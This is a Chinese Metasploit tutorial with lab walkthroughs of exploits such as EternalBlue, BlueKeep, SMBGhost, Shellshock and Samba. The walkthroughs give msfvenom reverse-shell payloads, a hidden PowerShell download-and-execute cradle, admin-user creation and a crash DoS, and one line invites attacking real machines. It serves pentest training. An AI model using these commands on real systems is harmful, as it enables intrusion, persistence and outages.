Metasploit(MSF)
第一篇MSF使用简介及命令使用
1.1 什么是Metasploit
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。
MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
1.2 MSF安装要求
在使用MSF之前,我们得确保自己的电脑配置能够达到以下的要求:
硬盘空间: 如果你要使用MSF,首先确保你电脑配置至少有10GB的储存空间。因为MSF会使用到一些大型文件。在分区的时候确保不是以FAT32类型进行分区。因为FAT32不支持大文件运行。所以建议是以NTFS,Ext3或者其他类型进行分区。个人建议是你的使用空间最好有40GB。
内存:Kali对内存的建议做了很多解释,实际上只要你的内存值等于或者大于2GB就可以使用各个版本的Kali系统了。
处理器:官方系统解释到,只要处理器的处理速度大于或者等于400MHz就可以使用Kali系统。但是我建议最低为500MHz。
网络设备:你可以使用Cat5接口进行访问。请确保你的网络设备有DHCP,如果没有,那么请自己为你的kali分配IP。当然,你也可以用无线网络,但是请为你的无线网卡安装相对应的驱动。
软件:这里建议使用者安装两套操作系统。一台是Kali系统,一台是测试系统。这样做的原因是能够方便安全人员进行攻击测试。
虚拟机:我们的建议是用虚拟机来运行kali系统。VMware Player可以说是最棒的选择。这个软件是免费的,用户只需要注册就能够使用。当然你也可以选择其他的虚拟机,但是我的建议就是VMware。
Kali Linux: Kali是以Linux系统进行封装的。Kali系统的有点在于这个系统集合了大量的优秀的安全工具,同时还能对这些工具进行升级。其中也包含了MSF。Kali系统的下载地址是:http://www.kali.org/downloads/ 。如果你安装完了Kali系统,你可以打开控制窗口,使用以下命令对Kali系统进行升级。
升级指令:“apt-get update && apt-get upgrade”
Metasploitable系统:也许你遇到过很多linux系统,但是却不知道如何使用那些linux漏洞。幸运的是,MSF的开发团队也意识到了这个问题。他们制作出了Metasploitable系统。这个系统包含了大大小小的linux漏洞,十分适合做为测试系统。既能提高技术,同时也能够“自我意淫”一下。现在的Metasploitable已经有了第二套版本,下面是下载地址:
kail下载地址 https://pan.baidu.com/s/1r_C91RgBSnXzPfJ8haJCCA 提取码:4che
http://cdimage.kali.org/kali-weekly/
http://sourceforge.net/projects/Metasploitable/files/Metasploitable2/
注意: 测试系统下载下来后是zip格式的。解压后使用VM打开。如果是VMware的,直接打开用VMware打开Metasploitable.vmx文件即可。Metasploitable系统的默认账号和密码是msfadmin:msfadmin
如果你想了解更多关于Metasploitable的信息,你可以去下面这个网站:https://community.rapid7.com/docs/DOC-1875
1.3 MSF专业术语讲解
1.3.1 渗透攻击(Exploit=run)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
1.3.2 攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
1.3.3 溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
1.3.4 模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
1.3.5 监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
第二节 更新MSF以及目录结构
2.1 如何更新MSF
一、替换yum源,把kail原有更新源#号注释掉
┌──(root💀kali01)-[~]
└─# vi /etc/apt/sources.list
kali-rolling版本:(中科大的就够用了,个人按需吧)
# kali官方源
deb http://http.kali.org/ kali-rolling main non-free contrib deb-src http://http.kali.org/ kali-rolling main non-free contrib
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
二、添加数字签名
wget archive.kali.org/archive-key.asc //下载签名
apt-key add archive-key.asc //安装签名
注:如果添加数字签名还提示无法安装可删除原有msf
root@kali:~# apt remove metasploit-framework
注:卸载过程中无法获得锁 /var/cache/apt/archives/lock - open (11: 资源暂时不可用)
无法对目录 /var/cache/apt/archives/ 加锁
root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁
root@kali:~# sudo rm /var/cache/apt/archives/
三、安装msf框架
root@bogon:~# apt-get update root@kali:~# apt-get install metasploit-framework //安装msf框架 root@kali:~#msfconsole //发现有提示数据库未启动,退出msf启动数据库 root@kali:~# systemctl start postgresql //启动数据库 root@kali:~# systemctl enable postgresql //允许开机自启动 root@kali:~# msfdb init //构建数据库缓存 root@kali:~#msfconsole
注意:如果更新完msf出现才下问题
root@kaliew:~# msfconsole [*] Bundler failed to load and returned this error: 'cannot load such file -- bundler/setup' [*] You may need to uninstall or upgrade bundler 解决方法: root@kaliew:~# sudo gem install bundler root@kaliew:~# bundle update celluloid 当提示另外一种错误的时候,可通过以下方法解决: 进入metasploit-framework目录bundle install cd /usr/share/metasploit-framework/ bundle install
2.2 MSF的目录结构
MSF 在BT5下存放目录:/opt/MSF
MSF Kali下存放目录:、/usr/share/metasploit-framework/
Modules:用户用到的各种模块几乎都在这里 ,用户使用use这个msf这里时,就是用到了这个目录下的模块。这个目录下的文件在msfconsole启动时会被自动加载的,如果看到msfconsole启动时有出错信息但又能成功启动可以根据出错信息找解决方法,个人写的Module也可以放在这个目录下。
Auxiliary:主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等
Encoders:各种编码工具 用于躲过入侵检测和过滤系统。
Exploits:主要包含了传说中的exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这,这里边包含的exp的路径的命名规则是 系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search这条指令来找)。比如:use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)
Nops: NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90...)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。(不理解没关系)
Payloads :这个单词翻译过来叫载荷:是攻击者发送给系统执行的指令(不包含exploits攻击阶段),payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是: 系统/类型/名称 比如: use payloads/windows/shell/bind_tcp
Post: 这个目录里放着msf 的exploits执行成功后,向目标机发送的一些功能性指令比如:提权,获取hash等。
Data:这个目录里盛放了Meterpreter、PassiveX、Vnc、DLLs等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件。
Data下js文件夹下的Detect,这里面存放的是MSF的探针文件。如果看过MSF浏览器攻击脚本的代码,就会发现调用了一个js库,然后检查当前请求是否符合被攻击环境。如果符合则发送攻击代码,否则中断。Memory中主要是一些堆喷射代码。在大部分浏览器漏洞利用过程,堆喷射是一个不可或缺的过程(当然不是绝对的!)。并且不同的浏览器及版本间,堆喷射代码都有所不同。所以这里给出的探针代码和堆喷射代码是不是一个非常好的学习资源呢。
Plugins:这里的模块用户需要使用load 来加载,提供数据库连接插件,和各种要用到的插件。
Scripts:这个目录下的文件大都是Meterpreter这个模块利用的脚本。比如Meterpreter里用到的migrate来转移到其他进程的指令的源代码就在这个目录下。
这里的rc脚本相当于Windows下的批处理脚本,在某些情况下会有一定便捷性。比如Veil在生成免杀payload的同时也会生成一个rc脚本,此时使用msfconsole –r xx.rc便可以快速的建立一个和payload对应的handler,亦或在攻过程中需要你反复的set exploit,那么就可以使用这个批处理脚本了,而这个目录下则是一些给定的rc脚本,虽然你可能不习惯这样使用,但作为改写自己的rc脚本的资源也不错。
Tools:包含一些有用的脚本和零散的工具。
第三节 MSF基本命令
3.1 Msfconsole控制台
它是一个一体化集中控制台,允许你访问到几乎所有的MSF框架选项。MSF起初看似吓人的,但一旦你学习他的语法命令,你将会欣赏利用该接口的力量。
3.2 Msfconsole的好处
- 这是唯一能访问大多数支持在MSF特点。
- Console-based界面提供了一个框架
- 具有最稳定的MSF的界面
- 充分支持Readline、Tabbing以及其它各类命令
- 支持Msfconsole外部命令执行
3.3 Msfconsole命令
执行?命令:帮助菜单
另一个用法:在?后面加命令(之间有空格)。
search 搜索模块名和描述。
例如搜索ms08-067模块,执行search ms08-067。
use使用命令,成功使用如下图显示。
back 从当前环境返回。
Banner命令,显示一个MSF的banner。
color 颜色转换
connect连接一个主机,例如下图所示连接到百度的80端口。
exit退出MSF
info 显示一个或多个模块的信息,例如ms08-067的模块。
irb进入irb脚本模式。
jobs显示和管理作业(和windows任务管理器的进程作用一样)。
kill:杀死一个作业(和结束进程的作用一样)。
loadpath:加载一个模块的路径。
quit:退出MSF。
load:加载一个插件。
resource:运行储存一个文件中的命令。
route:查看一个会话的路由信息。
save:保存动作。
set:给一个变量赋值。
show:显示给所有类型的模块。
setg:把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中。
sleep:在限定的秒数内什么也不做。
unload:卸载一个模块。
unset:解出一个或多个变量。
unsetg:解出一个或多个全局变量。
version:显示MSF和控制台库版本。
第四节 Exploits And Payloads模块
4.1 Exploits模块
命名规则:系统/服务/名称
例如:windows/smb/ms08_067_netapi
RHOST:目标主机IP地址
RPORT:目标主机连接端口
Payload:有效的载荷,成功后返回shell
LHOST:攻击者的IP地址
LPORT:攻击者的端口
4.2 Payloads模块
是在使用一个模块之后再去使用的。
命名规则:系统/类型/名称
例如:Windows/dllinject/reverse_tcp
类型命名规则
shell:上传一个shell。
dllinject:注入一个dll到进程。
patchup***:修补漏洞。
upexec:上传并执行一个文件。
meterpreter:高级的payload。
vncinject:高级的payload。
passive:高级的payload。
名称的命名规则
shell_find_tag:在一个已建立的连接上创建一个shell。
shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。
bind_tcp:监听一个tcp连接。
reverse_tcp:反向建立tcp连接。
reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于IPV6。
xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。
xxx_ord_tcp:有序payload。
xxx_tcp_allports:在所有可能的端口。
第二篇MSF漏洞实例测试
第五节 多种渗透攻击实例
5.1 网络服务器攻击渗透(MS08-067)
用到的靶机为:WinXPenSP3。
执行Msfconsole命令。
执行search MS08-067命令。
执行use exploit/windows/smb/ms08_067_netapi命令。
执行show options命令。
执行set RHOST 192.168.67.129命令,设置一个目标IP地址。
执行run命令。
执行shell命令。
执行net user命令,查看当前用户。
执行net user test test /add命令,添加一个用户。
执行net user命令,看到我们刚才添加的用户已经存在了。
5.2 浏览器攻击渗透(MS10-018)
用到的靶机为:WinXPenSP3
首先还是执行msfconsole命令。
搜索下ms10-018的目录。
执行search ms10-018命令,搜索路径。
执行use exploit/windows/browser/ms10_018_ie_behaviors命令。
执行show options命令,查看要设置哪些东西。
设置一下自己服务器的ip:set SRVHOST 192.168.11.111。
设置一个payload正向连接shell:
set PAYLOAD windows/meterpreter/bind_tcp
再看一下我们这个payload的选项配置:show options 一下
为了便于大家的识别我们把端口进行修改下:set LPORT 4441
run一下,会有一个url的地址,这个地址就是要通过社工等方法让目标机进行访问。
我们让目标机访问下这个url,这时msfconsole中就出现了successfuully,我们按回车(这里我尝试了好久,每次靶机访问IE就跳出OD来,最后把靶机里面的OD删掉就好了)。
我们看下sessions。
我们进入这个会话sessions -i 1(i就是in进入的意思,1就是会话的ID)。
现在就能执行shell了,看下ip就是我们攻击的服务器。
5.3 应用软件格式渗透,利用word去渗透(MS10-087)
用到的靶机为:WinXPenSP3
我们进入msfconsole下。
搜索下ms10-018的路径:search ms10-087。
使用这个模块:
Use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
看一下要设置的东西,没有提示要设置什么,可以设置一下文件名。
我们把文件名改成ceshi。
在设置一个payload,前面一直在使用交互式的payload,下面我们换一个payload。
看一下这个payload要设置什么东西。
我们设置现在让他弹出一个计算器:set CMD calc.exe。
我们运行下,文件已经在这个路径下面了。
我们到root目录下,显示下隐藏的文件。
找到我们刚才生成的文件。
我们去靶机里运行下,就直接调出计算器了。
5.4 CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)
漏洞描述
在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
漏洞利用
(1)利用ms15-034漏洞读取服务器内存数据
借助metasploit平台,截图如下:
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
set rhosts 192.168.80.130
run
(2)利用ms15-034漏洞进行ddos攻击
同样借助metasploit平台,截图如下:
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.80.130
set threads 10
run
攻击开始后,win7瞬间蓝屏然后自动重启,截图如下:
漏洞修复
禁用IIS内核缓存(可能降低IIS性能)
5.5 网络服务器攻击渗透测试(MS17-010)
用到的靶机为:Win7
我们进入msfconsole下。
一、在kali中输入 msfconsole(等待一会可能会有点慢)
二、进入后输人search ms17-010(就是之前的永恒之蓝,也就是新闻上报道的比特币勒索病毒)
三、找到exploit windows/smb/ms17_010_eternalblue,
选择 exploitwindows/smb/ms17_010_eternalblue
四、输入show options 查看和配置RHOST(靶机)和LHOST(操作机)
由于我用的是虚拟电脑所以我环境已经配置好了。
如果你不知道那台电脑有漏洞你可以输入set LHOSTS 网关/24
如果是[+]前面是这样说明有漏洞,然后再set RHOST +IP。
五、info命令查看攻击系统信息
六、选择攻击系统
七、设置攻击主机ip
八、run或exploit进行攻击
九、输入shell进入对方机器增加用户
以创建用户 net user sh4y 123 /add(sh4y用户名 123密码)
net localgroup administrators test /add (将用户设置为管理员权限)
上传文件执行
5.6 远程3389(CVE-2019-0708)与MS12-020
受影响Windows系统版本:
Windows7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
进行攻击:
使用 msfconsole 进入 metasploit-framework
进入以后使用 reload_all 重新加载 0708rdp 利用模块
使用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 启用 0708RDP 攻击模块
使用 show options 查看相关信息和设置
关键设置主要为 RHOSTS / RPORT / target
set RHOSTS 受害机IP设置受害机IP
set RPORT 受害机PORT设置受害机RDP端口号
set target ID数字(可选为0-4)设置受害机机器架构
使用的是VMware,那么 target 2 满足条件
使用 exploit 开始攻击,等待建立连接
建立连接以后,使用shell获得shell
修复方法:微软已经于2019年05月4日发布了漏洞补丁,请进行相关升级:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
Windows XP 及Windows 2003可以在以下链接下载补丁:https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708
临时解决方案
1、如暂时无法更新补丁,可以通过在系统上启用网络及身份认证(NLA)以暂时规避该漏洞影响。
2、在网络外围防火墙阻断TCP端口3389的连接,或对相关服务器做访问来源过滤,只允许可信IP连接。
3、禁用远程桌面服务。
5.7 网络服务器445端口攻击(CVE-2020-0796)
永恒之蓝 2.0 来了,基于 SMBv3 的漏洞,Windows 8和Windows Server 2012 - Windows 10 最新版全部中招,属于系统级漏洞利用这一漏洞会使系统遭受‘蠕虫型’攻击,这意味着很容易从一个受害者感染另一个受害者,一开机就感染。提权后可以做任意操作,例如加密你的文件勒索你。比如说像 EternalBlue 1.0 (永恒之蓝 1.0) 一样,加密文件,对你进行勒索虚拟货币!
在微软发布修补CVE-2020-0796漏洞的安全更新之前,Cisco Talos分享了通过禁用SMBv3压缩和拦截计算机的445端口来防御利用该漏洞发起的攻击。
复现:
一、环境准备
目标机:windows10 1903 x64 ip:192.168.142.129 (关闭防火墙)
攻击机:kali ip:192.168.142.128
windows10 1903 x64迅雷下载:https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link
二、漏洞检测
利用POC检测:
检测工具:https://github.com/ollypwn/SMBGhost
三、漏洞攻击-蓝屏
POC下载:https://github.com/eerykitty/CVE-2020-0796-PoC
四、漏洞利用-getshell
脚本下载:https://github.com/chompie1337/SMBGhost_RCE_PoC
1、 msfvenom生成正向连接木马
有关msfvenom详细使用可参考https://www.jianshu.com/p/dee2b171a0a0
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
用生成的shellcode将exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)
2、开启msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888 //监听端口
set rhost 192.168.142.129 //目标主机
run
3、运行exploit.py脚本,反弹shell
按道理来说,这里应该是反弹了一个shell的,可是!!!一直报错,参考原文是要将win10的内存调整到4个G以上,我也调了的,还是不行,只有后面再看看了
4、漏洞利用-本地提权
下载地址:https://github.com/danigargu/CVE-2020-0796/releases
如果提示找不到dll文件,那么
在win10上安装个vc运行库就好了
5.8 利用 samba 服务漏洞入侵linux主机(samba低版本漏洞利用)
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等.本文将简单介绍metasploit利用samba漏洞入侵进入远程linux主机.
1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:
nmap -sS -Pn -A 192.168.17.55
2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.
3、打开metasploit之后需要先判断samba的版本,命令如下:
msf> search scanner/samba
这条命令用来查找samba相关exploit参数
4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。
msf> use auxiliary/scanner/smb/smb_version
msfauxiliary(smb_version) > set RHOSTS 192.168.0.102
这条命令定义你将要扫描samba版本的远程主机的IP地址.
exploit
该命令将开始漏洞利用
5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机
msf> use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.0.102
msf exploit(usermap_script) > exploit
执行完成以上命令如图所示,成功创建了shell 会话.
(二)smb其它漏洞Linux smb漏洞(CVE-2017-7494)复现
漏洞编号:CVE-2017-7494
漏洞等级:严重
影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14
0x01:查看samba版本并打开samba配置文件添加以下配置。
vi /etc/samba/smb.conf
参考其他人分析在末行加入
[public]
comment = public
browseable = yes
writeable =yes
path = /tmp/public
public = yes
read only = no
0x02:Kali Linux 2017里面创建Samba共享目录
创建共享目录
root@kali:~# mkdir /tmp/public
修改读写执行权限
root@kali:~# chmod 777 /tmp/public
这是SambaCry漏洞利用的前提,必须有一个共享目录,这样攻击者就可以在这个共享目录传递攻击代码并执行,获取到Root权限并控制肉鸡。
0x03:Kali Linux 2017 重启/启动Samba服务
重启samba服务
root@kali:~# /etc/init.d/samba restart
查看samba进程
root@kali:~# ps aux | grep samba
查看samba端口状态(采用139和445端口)
root@kali:~# netstat -tnlp samba
0x04:更新MSF后使用"exploit/linux/samba/is_known_pipename"利用模块,设置rhost后直接exploit即可得到shell。
注意有的poc可能会存在64位和32位之分,参考以上图片。
5.9 Bash Shellshock CVE-2014-6271(破壳)
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
本次实战环境
metasploitable2是一个非常不错的靶机,内置了多种漏洞来练习你的黑客技术。我将在独立网络环境中使用kali来攻击它,建议你也跟我一样,确保在第一次尝试攻击时结果跟我一样,等你技术娴熟之后便可以去渗透真实的机器了。
第一步:配置靶机
要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。一个简单的输出“hello world”脚本即可,因为仅仅是作为演示。进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:
然后对hello.sh脚本进行编辑
#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"
保存好后,赋予脚本可执行权限,使用chmod命令:
chmod 755 test.sh
我们来验证一下,通过浏览器访问该脚本,可以看到已经成功执行。
第二步:准备攻击
在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。
我们可以使用search命令来搜索exploits。输入shellshock,就能找到apache_mod_cgi_bash_env_exec模块,复制模块路径
现在可以看到一个更长的命令提示符,显示模块已加载。
输入info来查看模块的各种设置:
大部分配置保持默认即可,我们只需要设置远程IP地址rhost和文件路径targeturi,如下所示:
再次输入options,我们可以看到模块的当前设置包括payload信息。
执行 exploit 开始攻击
输入shell开始操作目标主机
ps:会发现没有提示符。但是可以直接输入命令操作。可以输入bash -i来显示提示符
5.10 PHP CGI漏洞利用
msf > search cve:2012-1823
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > show options
msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102
rhost => 192.168.0.102
msf exploit(php_cgi_arg_injection) > run
5.11 Java RMI SERVER 命令执行漏洞与java cve-2013-0422
Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,导致代码执行。
利用步骤:
nmap –p 0-65535 IP ,查看1099端口是否开启
use exploit/multi/misc/java_rmi_server
set RHOST IP
exploit
shell(进入meterpreter 时执行)
5.12 Distcc后门漏洞
安全组织索引:CVE-2004-2678、OSVDB-13378
原理:
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置对于服务器端口的访问不限制
利用步骤:
启动metasploit
use exploit/unix/misc/distcc_exec
set RHOST IP
exploit
id 查看权限 uname -a 验证
5.13 Druby命令执行
Druby配置不当,被滥用执行命令
利用步骤:
启动metasploit
发现8787 Druby端口
search drb 搜索drb相关漏洞
use exploit/linux/misc/drb_remote_codeexec
set URL druby:IP:8787 ,设置目标druby链接
exploit
id,uname -a
5.14 CVE-2017-8464震网三代(远程快捷方式漏洞)
漏洞详情
北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543).
CVE-2017-8543,当Windows搜索处理内存中的对象时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。
CVE-2017-8464,当Windows系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
攻击机:kali
IP地址为:192.168.10.118
靶机:win7
IP地址:192.168.10.119
受影响的版本
Windows 7
Windows 8.1
Windows RT 8.1
Windows 10
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
实战操作如下:
msfconsole
search 2017_8464
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118(你的IP)
exploit
之后会在/root/.msf4/local目录下生成我们的利用文件
注意:kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1下
cp -r /root/.msf4/local/ /root/1
全部复制到移动磁盘里面(u盘拷贝),然后在msf中监听:
search multi/handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118 (你的IP地址)
run
payload2:利用Powershell快捷键
生成攻击文件:search.ps1,终端输入
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 -f psh-reflection>/opt/search.ps1
然后将/opt/目录下的search.ps1文件移动到/var/www/html/下
随后打开Apache服务
service apache2 start
访问web下的sp1文件
然后在目标机上建立一个快捷方式
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.118/search.ps1');test.ps1"
这里写我们构造好的代码
然后选中powershell.exe
再到本机上配置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118
run
5.15 flash oday(CVE-2018-4878)
漏洞详情
0x01 前言
Adobe公司在当地时间2018年2月1日发布了一条安全公告:
https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
公告称一个新的Flash 0Day漏洞(CVE-2018-4878)已经存在野外利用,可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash 代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等。
0x02 漏洞影响
Flash Player当前最新版本28.0.0.137以及之前的所有版本
0x03 漏洞复现
环境测试:
攻击机:kali
目标靶机:win7x64 +IE8.0+FLASH player28.0.0.137
1.下载cve-2018-4878的脚步利用
wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar
2.解压压缩文件后,可看到cve-2018-4878.py和exploit.swf 我们只需要cve-2018-4878.py
3.我们需要对cve-2018-4878.py进行修改,原作者将代码中的stageless变量改成了true,正确的应该改成:stageless = False,另外别忘了修改最后的路径。
附上原作者的exp地址:https://github.com/anbai-inc/CVE-2018-4878.git
4.其次需要修改替换原来弹计算器的shellcode
5.在kali下生成msf的shellcode(注意:一定要在老版本kail下生成大小为333字节的payload)
msfvenom -p windows/meterpreter/reverse_tcp lhost=your host lport=your port -f python>shellcode.txt
6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可
7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下,即可生成恶意的exploit.swf
8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上,在ie浏览器下打开(也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开)。
9.在msf 下进行监听设置
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.0.217
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
10.当打开目标恶意的index.html页面时,即可触发反弹shell
5.16 MSF木马生成使用
木马生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.56 LPORT=5555 -f exe -o 7qi.exe
本地监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.0.217
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
第三篇MSF辅助模块使用(一)
第六节 auxiliary(辅助)模块
6.1 Auxiliary模块
情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。这里主要用到Msf里auxiliary里边的Modules,这里的Modules都是些渗透前期的辅助工具。一般的收集信息可以使用Whois(这个是Linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用Syn(一种不建立头层皮连接的扫描)扫描,可以在Msfconsole里边Search syn然后根据返回结果来确定使用哪个模块。
Whois信息探测:在Msfconsole下使用Whois查看域名信息。
查看IP信息。
利用辅助模块查找邮箱:use auxiliary/gather/search_email_collector
看下要设置什么东西。
设置一个域名。
因为google被国内封了,我们把google的搜索引擎关了。
运行。
因为百度中没有存在邮箱所有搜索为0
DNS枚举,使用auxiliary模块下的DNS枚举模块:
use auxiliary/gather/enum_dns
我们看下要设置哪些东西。
设置一个域名,这里注意我们要设置的是顶级域名,不要加www,不然爆破的时候就是xxx.www.baidu.com了。
运行下。
第七节 端口扫描模块
7.1 内置Nmap扫描
Msfconsole下的Nmap和kali内置的Nmap效果其实是一样的,首先我们来看下内置的Nmap。
再来看下msfconsole下的nmap。
7.1.1 syn扫描
扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限。
TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:
① Client端发送SYN;
② Server端返回SYN/ACK,表明端口开放;
③ Client端返回ACK,表明连接已建立;
④ Client端主动断开连接。
